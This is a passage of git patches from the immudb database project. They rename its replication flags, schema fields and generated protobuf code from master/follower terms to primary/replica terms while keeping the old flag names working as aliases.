"replication-is-replica" + if newName, ok := flagNameMapping[name]; ok { + name = newName } return pflag.NormalizedName(name) }) @@ -390,27 +399,27 @@ func prepareDatabaseNullableSettings(flags *pflag.FlagSet) (*schema.DatabaseNull return nil, err } - ret.ReplicationSettings.MasterDatabase, err = condString("replication-master-database") + ret.ReplicationSettings.MasterDatabase, err = condString("replication-primary-database") if err != nil { return nil, err } - ret.ReplicationSettings.MasterAddress, err = condString("replication-master-address") + ret.ReplicationSettings.MasterAddress, err = condString("replication-primary-host") if err != nil { return nil, err } - ret.ReplicationSettings.MasterPort, err = condUInt32("replication-master-port") + ret.ReplicationSettings.MasterPort, err = condUInt32("replication-primary-port") if err != nil { return nil, err } - ret.ReplicationSettings.FollowerUsername, err = condString("replication-follower-username") + ret.ReplicationSettings.FollowerUsername, err = condString("replication-primary-username") if err != nil { return nil, err } - ret.ReplicationSettings.FollowerPassword, err = condString("replication-follower-password") + ret.ReplicationSettings.FollowerPassword, err = condString("replication-primary-password") if err != nil { return nil, err } diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index c8fb3a404f..1cd734a95d 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -36,13 +36,13 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().Bool("replication-is-replica", false, "set systemdb and defaultdb as replica") cmd.Flags().Bool("replication-sync-enabled", false, "enable synchronous replication") cmd.Flags().Int("replication-sync-acks", 0, "set a minimum number of replica acknowledgements required before transactions can be committed") - cmd.Flags().String("replication-master-address", "", "master address (if replica=true)") - cmd.Flags().Int("replication-master-port", 3322, "master port (if replica=true)") - cmd.Flags().String("replication-follower-username", "", "username used for replication of systemdb and defaultdb") - cmd.Flags().String("replication-follower-password", "", "password used for replication of systemdb and defaultdb") + cmd.Flags().String("replication-primary-host", "", "primary database host (if replica=true)") + cmd.Flags().Int("replication-primary-port", 3322, "primary database port (if replica=true)") + cmd.Flags().String("replication-primary-username", "", "username in the primary database used for replication of systemdb and defaultdb") + cmd.Flags().String("replication-primary-password", "", "password in the primary database used for replication of systemdb and defaultdb") cmd.Flags().Int("replication-prefetch-tx-buffer-size", options.ReplicationOptions.PrefetchTxBufferSize, "maximum number of prefeched transactions") cmd.Flags().Int("replication-commit-concurrency", options.ReplicationOptions.ReplicationCommitConcurrency, "number of concurrent replications") - cmd.Flags().Bool("replication-allow-tx-discarding", replication.DefaultAllowTxDiscarding, "allow precommitted transactions to be discarded if the follower diverges from the master") + cmd.Flags().Bool("replication-allow-tx-discarding", replication.DefaultAllowTxDiscarding, "allow precommitted transactions to be discarded if the replica diverges from the primary") cmd.PersistentFlags().StringVar(&cl.config.CfgFn, "config", "", "config file (default path are configs or $HOME. Default filename is immudb.toml)") cmd.Flags().String("pidfile", options.Pidfile, "pid path with filename e.g. /var/run/immudb.pid") @@ -84,9 +84,18 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().Duration("sessions-guard-check-interval", 1*time.Minute, "sessions guard check interval") cmd.Flags().MarkHidden("sessions-guard-check-interval") + flagNameMapping := map[string]string{ + "replication-enabled": "replication-is-replica", + "replication-follower-username": "replication-primary-username", + "replication-follower-password": "replication-primary-password", + "replication-master-database": "replication-primary-database", + "replication-master-address": "replication-primary-host", + "replication-master-port": "replication-primary-port", + } + cmd.Flags().SetNormalizeFunc(func(f *pflag.FlagSet, name string) pflag.NormalizedName { - if name == "replication-enabled" { - name = "replication-is-replica" + if newName, ok := flagNameMapping[name]; ok { + name = newName } return pflag.NormalizedName(name) }) diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index 40fc9d56bc..58aa42fa66 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -36,10 +36,10 @@ func parseOptions() (options *server.Options, err error) { if replicationOptions.IsReplica { replicationOptions. - WithMasterAddress(viper.GetString("replication-master-address")). - WithMasterPort(viper.GetInt("replication-master-port")). - WithFollowerUsername(viper.GetString("replication-follower-username")). - WithFollowerPassword(viper.GetString("replication-follower-password")). + WithMasterAddress(viper.GetString("replication-primary-host")). + WithMasterPort(viper.GetInt("replication-primary-port")). + WithFollowerUsername(viper.GetString("replication-primary-username")). + WithFollowerPassword(viper.GetString("replication-primary-password")). WithPrefetchTxBufferSize(viper.GetInt("replication-prefetch-tx-buffer-size")). WithReplicationCommitConcurrency(viper.GetInt("replication-commit-concurrency")). WithAllowTxDiscarding(viper.GetBool("replication-allow-tx-discarding")) From f8a6c4a0e5193ce2434f464646130ae3cc436bf1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Tue, 8 Nov 2022 12:53:11 +0100 Subject: [PATCH 0010/1062] fix(pkg): Rename replication-related fields in GRPC protocol MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Field identifiers remained the same thus the compatibility between different server versions is preserved. Signed-off-by: Bartłomiej Święcki --- cmd/immuadmin/command/database.go | 10 +- cmd/immuadmin/command/hot_backup.go | 2 +- pkg/api/schema/docs.md | 64 +- pkg/api/schema/schema.pb.go | 2066 ++++++++--------- pkg/api/schema/schema.proto | 28 +- pkg/api/schema/schema.swagger.json | 70 +- pkg/database/database.go | 30 +- pkg/integration/client_test.go | 6 +- pkg/integration/follower_replication_test.go | 16 +- pkg/integration/replication/suite.go | 26 +- .../stream/stream_replication_test.go | 6 +- pkg/replication/replicator.go | 6 +- pkg/server/db_options.go | 42 +- pkg/server/server.go | 20 +- pkg/server/server_test.go | 18 +- pkg/server/stream_replication.go | 2 +- 16 files changed, 1206 insertions(+), 1206 deletions(-) diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index 8efd953084..16ec2d6eb7 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -399,27 +399,27 @@ func prepareDatabaseNullableSettings(flags *pflag.FlagSet) (*schema.DatabaseNull return nil, err } - ret.ReplicationSettings.MasterDatabase, err = condString("replication-primary-database") + ret.ReplicationSettings.PrimaryDatabase, err = condString("replication-primary-database") if err != nil { return nil, err } - ret.ReplicationSettings.MasterAddress, err = condString("replication-primary-host") + ret.ReplicationSettings.PrimaryHost, err = condString("replication-primary-host") if err != nil { return nil, err } - ret.ReplicationSettings.MasterPort, err = condUInt32("replication-primary-port") + ret.ReplicationSettings.PrimaryPort, err = condUInt32("replication-primary-port") if err != nil { return nil, err } - ret.ReplicationSettings.FollowerUsername, err = condString("replication-primary-username") + ret.ReplicationSettings.PrimaryUsername, err = condString("replication-primary-username") if err != nil { return nil, err } - ret.ReplicationSettings.FollowerPassword, err = condString("replication-primary-password") + ret.ReplicationSettings.PrimaryPassword, err = condString("replication-primary-password") if err != nil { return nil, err } diff --git a/cmd/immuadmin/command/hot_backup.go b/cmd/immuadmin/command/hot_backup.go index 9956142eea..bd8012e312 100644 --- a/cmd/immuadmin/command/hot_backup.go +++ b/cmd/immuadmin/command/hot_backup.go @@ -541,7 +541,7 @@ func (cl *commandlineHotBck) useDb(name string, replica bool) (uint64, []byte, e } func (cl *commandlineHotBck) createDb(name string) error { - err := cl.immuClient.CreateDatabase(cl.context, &schema.DatabaseSettings{DatabaseName: name, Replica: true, MasterDatabase: "dummy"}) + err := cl.immuClient.CreateDatabase(cl.context, &schema.DatabaseSettings{DatabaseName: name, Replica: true, PrimaryDatabase: "dummy"}) if err != nil { return err } diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 20faba7a2f..3ea59c5f5e 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -42,7 +42,6 @@ - [ExportTxRequest](#immudb.schema.ExportTxRequest) - [FlushIndexRequest](#immudb.schema.FlushIndexRequest) - [FlushIndexResponse](#immudb.schema.FlushIndexResponse) - - [FollowerState](#immudb.schema.FollowerState) - [HealthResponse](#immudb.schema.HealthResponse) - [HistoryRequest](#immudb.schema.HistoryRequest) - [ImmutableState](#immudb.schema.ImmutableState) @@ -79,6 +78,7 @@ - [Precondition.KeyNotModifiedAfterTXPrecondition](#immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition) - [Reference](#immudb.schema.Reference) - [ReferenceRequest](#immudb.schema.ReferenceRequest) + - [ReplicaState](#immudb.schema.ReplicaState) - [ReplicationNullableSettings](#immudb.schema.ReplicationNullableSettings) - [RetryInfo](#immudb.schema.RetryInfo) - [Row](#immudb.schema.Row) @@ -461,11 +461,11 @@ DEPRECATED | ----- | ---- | ----- | ----------- | | databaseName | [string](#string) | | Name of the database | | replica | [bool](#bool) | | If set to true, this database is replicating another database | -| masterDatabase | [string](#string) | | Name of the database to replicate | -| masterAddress | [string](#string) | | Hostname of the immudb instance with database to replicate | -| masterPort | [uint32](#uint32) | | Port of the immudb instance with database to replicate | -| followerUsername | [string](#string) | | Username of the user with read access of the database to replicate | -| followerPassword | [string](#string) | | Password of the user with read access of the database to replicate | +| primaryDatabase | [string](#string) | | Name of the database to replicate | +| primaryHost | [string](#string) | | Hostname of the immudb instance with database to replicate | +| primaryPort | [uint32](#uint32) | | Port of the immudb instance with database to replicate | +| primaryUsername | [string](#string) | | Username of the user with read access of the database to replicate | +| primaryPassword | [string](#string) | | Password of the user with read access of the database to replicate | | fileSize | [uint32](#uint32) | | Size of files stored on disk | | maxKeyLen | [uint32](#uint32) | | Maximum length of keys | | maxValueLen | [uint32](#uint32) | | Maximum length of values | @@ -744,7 +744,7 @@ DualProof contains inclusion and consistency proofs for dual Merkle-Tree + L | ----- | ---- | ----- | ----------- | | tx | [uint64](#uint64) | | Id of transaction to export | | allowPreCommitted | [bool](#bool) | | If set to true, non-committed transactions can be exported | -| followerState | [FollowerState](#immudb.schema.FollowerState) | | Used on synchronous replication to notify the master about follower state | +| replicaState | [ReplicaState](#immudb.schema.ReplicaState) | | Used on synchronous replication to notify the primary about replica state | @@ -782,25 +782,6 @@ DualProof contains inclusion and consistency proofs for dual Merkle-Tree + L - - -### FollowerState - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| UUID | [string](#string) | | | -| committedTxID | [uint64](#uint64) | | | -| committedAlh | [bytes](#bytes) | | | -| precommittedTxID | [uint64](#uint64) | | | -| precommittedAlh | [bytes](#bytes) | | | - - - - - - ### HealthResponse @@ -1399,6 +1380,25 @@ Only succeed if given key was not modified after given transaction + + +### ReplicaState + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| UUID | [string](#string) | | | +| committedTxID | [uint64](#uint64) | | | +| committedAlh | [bytes](#bytes) | | | +| precommittedTxID | [uint64](#uint64) | | | +| precommittedAlh | [bytes](#bytes) | | | + + + + + + ### ReplicationNullableSettings @@ -1408,16 +1408,16 @@ Only succeed if given key was not modified after given transaction | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | replica | [NullableBool](#immudb.schema.NullableBool) | | If set to true, this database is replicating another database | -| masterDatabase | [NullableString](#immudb.schema.NullableString) | | Name of the database to replicate | -| masterAddress | [NullableString](#immudb.schema.NullableString) | | Hostname of the immudb instance with database to replicate | -| masterPort | [NullableUint32](#immudb.schema.NullableUint32) | | Port of the immudb instance with database to replicate | -| followerUsername | [NullableString](#immudb.schema.NullableString) | | Username of the user with read access of the database to replicate | -| followerPassword | [NullableString](#immudb.schema.NullableString) | | Password of the user with read access of the database to replicate | +| primaryDatabase | [NullableString](#immudb.schema.NullableString) | | Name of the database to replicate | +| primaryHost | [NullableString](#immudb.schema.NullableString) | | Hostname of the immudb instance with database to replicate | +| primaryPort | [NullableUint32](#immudb.schema.NullableUint32) | | Port of the immudb instance with database to replicate | +| primaryUsername | [NullableString](#immudb.schema.NullableString) | | Username of the user with read access of the database to replicate | +| primaryPassword | [NullableString](#immudb.schema.NullableString) | | Password of the user with read access of the database to replicate | | syncReplication | [NullableBool](#immudb.schema.NullableBool) | | Enable synchronous replication | | syncAcks | [NullableUint32](#immudb.schema.NullableUint32) | | Number of confirmations from synchronous replicas required to commit a transaction | | prefetchTxBufferSize | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of prefetched transactions | | replicationCommitConcurrency | [NullableUint32](#immudb.schema.NullableUint32) | | Number of concurrent replications | -| AllowTxDiscarding | [NullableBool](#immudb.schema.NullableBool) | | Allow precommitted transactions to be discarded if the follower diverges from the master | +| AllowTxDiscarding | [NullableBool](#immudb.schema.NullableBool) | | Allow precommitted transactions to be discarded if the replica diverges from the primary | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 4d09827160..7c5397a07c 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -4442,8 +4442,8 @@ type ExportTxRequest struct { Tx uint64 `protobuf:"varint,1,opt,name=tx,proto3" json:"tx,omitempty"` // If set to true, non-committed transactions can be exported AllowPreCommitted bool `protobuf:"varint,2,opt,name=allowPreCommitted,proto3" json:"allowPreCommitted,omitempty"` - // Used on synchronous replication to notify the master about follower state - FollowerState *FollowerState `protobuf:"bytes,3,opt,name=followerState,proto3" json:"followerState,omitempty"` + // Used on synchronous replication to notify the primary about replica state + ReplicaState *ReplicaState `protobuf:"bytes,3,opt,name=replicaState,proto3" json:"replicaState,omitempty"` } func (x *ExportTxRequest) Reset() { @@ -4492,14 +4492,14 @@ func (x *ExportTxRequest) GetAllowPreCommitted() bool { return false } -func (x *ExportTxRequest) GetFollowerState() *FollowerState { +func (x *ExportTxRequest) GetReplicaState() *ReplicaState { if x != nil { - return x.FollowerState + return x.ReplicaState } return nil } -type FollowerState struct { +type ReplicaState struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -4511,8 +4511,8 @@ type FollowerState struct { PrecommittedAlh []byte `protobuf:"bytes,5,opt,name=precommittedAlh,proto3" json:"precommittedAlh,omitempty"` } -func (x *FollowerState) Reset() { - *x = FollowerState{} +func (x *ReplicaState) Reset() { + *x = ReplicaState{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[62] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -4520,13 +4520,13 @@ func (x *FollowerState) Reset() { } } -func (x *FollowerState) String() string { +func (x *ReplicaState) String() string { return protoimpl.X.MessageStringOf(x) } -func (*FollowerState) ProtoMessage() {} +func (*ReplicaState) ProtoMessage() {} -func (x *FollowerState) ProtoReflect() protoreflect.Message { +func (x *ReplicaState) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[62] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -4538,40 +4538,40 @@ func (x *FollowerState) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use FollowerState.ProtoReflect.Descriptor instead. -func (*FollowerState) Descriptor() ([]byte, []int) { +// Deprecated: Use ReplicaState.ProtoReflect.Descriptor instead. +func (*ReplicaState) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{62} } -func (x *FollowerState) GetUUID() string { +func (x *ReplicaState) GetUUID() string { if x != nil { return x.UUID } return "" } -func (x *FollowerState) GetCommittedTxID() uint64 { +func (x *ReplicaState) GetCommittedTxID() uint64 { if x != nil { return x.CommittedTxID } return 0 } -func (x *FollowerState) GetCommittedAlh() []byte { +func (x *ReplicaState) GetCommittedAlh() []byte { if x != nil { return x.CommittedAlh } return nil } -func (x *FollowerState) GetPrecommittedTxID() uint64 { +func (x *ReplicaState) GetPrecommittedTxID() uint64 { if x != nil { return x.PrecommittedTxID } return 0 } -func (x *FollowerState) GetPrecommittedAlh() []byte { +func (x *ReplicaState) GetPrecommittedAlh() []byte { if x != nil { return x.PrecommittedAlh } @@ -4636,15 +4636,15 @@ type DatabaseSettings struct { // If set to true, this database is replicating another database Replica bool `protobuf:"varint,2,opt,name=replica,proto3" json:"replica,omitempty"` // Name of the database to replicate - MasterDatabase string `protobuf:"bytes,3,opt,name=masterDatabase,proto3" json:"masterDatabase,omitempty"` + PrimaryDatabase string `protobuf:"bytes,3,opt,name=primaryDatabase,proto3" json:"primaryDatabase,omitempty"` // Hostname of the immudb instance with database to replicate - MasterAddress string `protobuf:"bytes,4,opt,name=masterAddress,proto3" json:"masterAddress,omitempty"` + PrimaryHost string `protobuf:"bytes,4,opt,name=primaryHost,proto3" json:"primaryHost,omitempty"` // Port of the immudb instance with database to replicate - MasterPort uint32 `protobuf:"varint,5,opt,name=masterPort,proto3" json:"masterPort,omitempty"` + PrimaryPort uint32 `protobuf:"varint,5,opt,name=primaryPort,proto3" json:"primaryPort,omitempty"` // Username of the user with read access of the database to replicate - FollowerUsername string `protobuf:"bytes,6,opt,name=followerUsername,proto3" json:"followerUsername,omitempty"` + PrimaryUsername string `protobuf:"bytes,6,opt,name=primaryUsername,proto3" json:"primaryUsername,omitempty"` // Password of the user with read access of the database to replicate - FollowerPassword string `protobuf:"bytes,7,opt,name=followerPassword,proto3" json:"followerPassword,omitempty"` + PrimaryPassword string `protobuf:"bytes,7,opt,name=primaryPassword,proto3" json:"primaryPassword,omitempty"` // Size of files stored on disk FileSize uint32 `protobuf:"varint,8,opt,name=fileSize,proto3" json:"fileSize,omitempty"` // Maximum length of keys @@ -4703,37 +4703,37 @@ func (x *DatabaseSettings) GetReplica() bool { return false } -func (x *DatabaseSettings) GetMasterDatabase() string { +func (x *DatabaseSettings) GetPrimaryDatabase() string { if x != nil { - return x.MasterDatabase + return x.PrimaryDatabase } return "" } -func (x *DatabaseSettings) GetMasterAddress() string { +func (x *DatabaseSettings) GetPrimaryHost() string { if x != nil { - return x.MasterAddress + return x.PrimaryHost } return "" } -func (x *DatabaseSettings) GetMasterPort() uint32 { +func (x *DatabaseSettings) GetPrimaryPort() uint32 { if x != nil { - return x.MasterPort + return x.PrimaryPort } return 0 } -func (x *DatabaseSettings) GetFollowerUsername() string { +func (x *DatabaseSettings) GetPrimaryUsername() string { if x != nil { - return x.FollowerUsername + return x.PrimaryUsername } return "" } -func (x *DatabaseSettings) GetFollowerPassword() string { +func (x *DatabaseSettings) GetPrimaryPassword() string { if x != nil { - return x.FollowerPassword + return x.PrimaryPassword } return "" } @@ -5615,15 +5615,15 @@ type ReplicationNullableSettings struct { // If set to true, this database is replicating another database Replica *NullableBool `protobuf:"bytes,1,opt,name=replica,proto3" json:"replica,omitempty"` // Name of the database to replicate - MasterDatabase *NullableString `protobuf:"bytes,2,opt,name=masterDatabase,proto3" json:"masterDatabase,omitempty"` + PrimaryDatabase *NullableString `protobuf:"bytes,2,opt,name=primaryDatabase,proto3" json:"primaryDatabase,omitempty"` // Hostname of the immudb instance with database to replicate - MasterAddress *NullableString `protobuf:"bytes,3,opt,name=masterAddress,proto3" json:"masterAddress,omitempty"` + PrimaryHost *NullableString `protobuf:"bytes,3,opt,name=primaryHost,proto3" json:"primaryHost,omitempty"` // Port of the immudb instance with database to replicate - MasterPort *NullableUint32 `protobuf:"bytes,4,opt,name=masterPort,proto3" json:"masterPort,omitempty"` + PrimaryPort *NullableUint32 `protobuf:"bytes,4,opt,name=primaryPort,proto3" json:"primaryPort,omitempty"` // Username of the user with read access of the database to replicate - FollowerUsername *NullableString `protobuf:"bytes,5,opt,name=followerUsername,proto3" json:"followerUsername,omitempty"` + PrimaryUsername *NullableString `protobuf:"bytes,5,opt,name=primaryUsername,proto3" json:"primaryUsername,omitempty"` // Password of the user with read access of the database to replicate - FollowerPassword *NullableString `protobuf:"bytes,6,opt,name=followerPassword,proto3" json:"followerPassword,omitempty"` + PrimaryPassword *NullableString `protobuf:"bytes,6,opt,name=primaryPassword,proto3" json:"primaryPassword,omitempty"` // Enable synchronous replication SyncReplication *NullableBool `protobuf:"bytes,7,opt,name=syncReplication,proto3" json:"syncReplication,omitempty"` // Number of confirmations from synchronous replicas required to commit a transaction @@ -5632,7 +5632,7 @@ type ReplicationNullableSettings struct { PrefetchTxBufferSize *NullableUint32 `protobuf:"bytes,9,opt,name=prefetchTxBufferSize,proto3" json:"prefetchTxBufferSize,omitempty"` // Number of concurrent replications ReplicationCommitConcurrency *NullableUint32 `protobuf:"bytes,10,opt,name=replicationCommitConcurrency,proto3" json:"replicationCommitConcurrency,omitempty"` - // Allow precommitted transactions to be discarded if the follower diverges from the master + // Allow precommitted transactions to be discarded if the replica diverges from the primary AllowTxDiscarding *NullableBool `protobuf:"bytes,11,opt,name=AllowTxDiscarding,proto3" json:"AllowTxDiscarding,omitempty"` } @@ -5675,37 +5675,37 @@ func (x *ReplicationNullableSettings) GetReplica() *NullableBool { return nil } -func (x *ReplicationNullableSettings) GetMasterDatabase() *NullableString { +func (x *ReplicationNullableSettings) GetPrimaryDatabase() *NullableString { if x != nil { - return x.MasterDatabase + return x.PrimaryDatabase } return nil } -func (x *ReplicationNullableSettings) GetMasterAddress() *NullableString { +func (x *ReplicationNullableSettings) GetPrimaryHost() *NullableString { if x != nil { - return x.MasterAddress + return x.PrimaryHost } return nil } -func (x *ReplicationNullableSettings) GetMasterPort() *NullableUint32 { +func (x *ReplicationNullableSettings) GetPrimaryPort() *NullableUint32 { if x != nil { - return x.MasterPort + return x.PrimaryPort } return nil } -func (x *ReplicationNullableSettings) GetFollowerUsername() *NullableString { +func (x *ReplicationNullableSettings) GetPrimaryUsername() *NullableString { if x != nil { - return x.FollowerUsername + return x.PrimaryUsername } return nil } -func (x *ReplicationNullableSettings) GetFollowerPassword() *NullableString { +func (x *ReplicationNullableSettings) GetPrimaryPassword() *NullableString { if x != nil { - return x.FollowerPassword + return x.PrimaryPassword } return nil } @@ -8767,1031 +8767,1031 @@ var file_schema_proto_rawDesc = []byte{ 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x03, 0x74, - 0x78, 0x73, 0x22, 0x93, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, + 0x78, 0x73, 0x22, 0x90, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x12, 0x42, 0x0a, 0x0d, 0x66, 0x6f, 0x6c, 0x6c, 0x6f, 0x77, 0x65, 0x72, - 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6f, 0x6c, 0x6c, - 0x6f, 0x77, 0x65, 0x72, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0d, 0x66, 0x6f, 0x6c, 0x6c, 0x6f, - 0x77, 0x65, 0x72, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0xc3, 0x01, 0x0a, 0x0d, 0x46, 0x6f, 0x6c, - 0x6c, 0x6f, 0x77, 0x65, 0x72, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x24, - 0x0a, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x54, 0x78, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, - 0x64, 0x41, 0x6c, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x54, 0x78, 0x49, 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x70, - 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x22, 0x2e, - 0x0a, 0x08, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc4, - 0x03, 0x0a, 0x10, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, - 0x61, 0x12, 0x26, 0x0a, 0x0e, 0x6d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x6d, 0x61, 0x73, 0x74, 0x65, - 0x72, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x6d, 0x61, 0x73, - 0x74, 0x65, 0x72, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0d, 0x6d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, - 0x1e, 0x0a, 0x0a, 0x6d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x6d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x50, 0x6f, 0x72, 0x74, 0x12, - 0x2a, 0x0a, 0x10, 0x66, 0x6f, 0x6c, 0x6c, 0x6f, 0x77, 0x65, 0x72, 0x55, 0x73, 0x65, 0x72, 0x6e, - 0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x66, 0x6f, 0x6c, 0x6c, 0x6f, - 0x77, 0x65, 0x72, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x66, - 0x6f, 0x6c, 0x6c, 0x6f, 0x77, 0x65, 0x72, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x66, 0x6f, 0x6c, 0x6c, 0x6f, 0x77, 0x65, 0x72, 0x50, - 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x66, 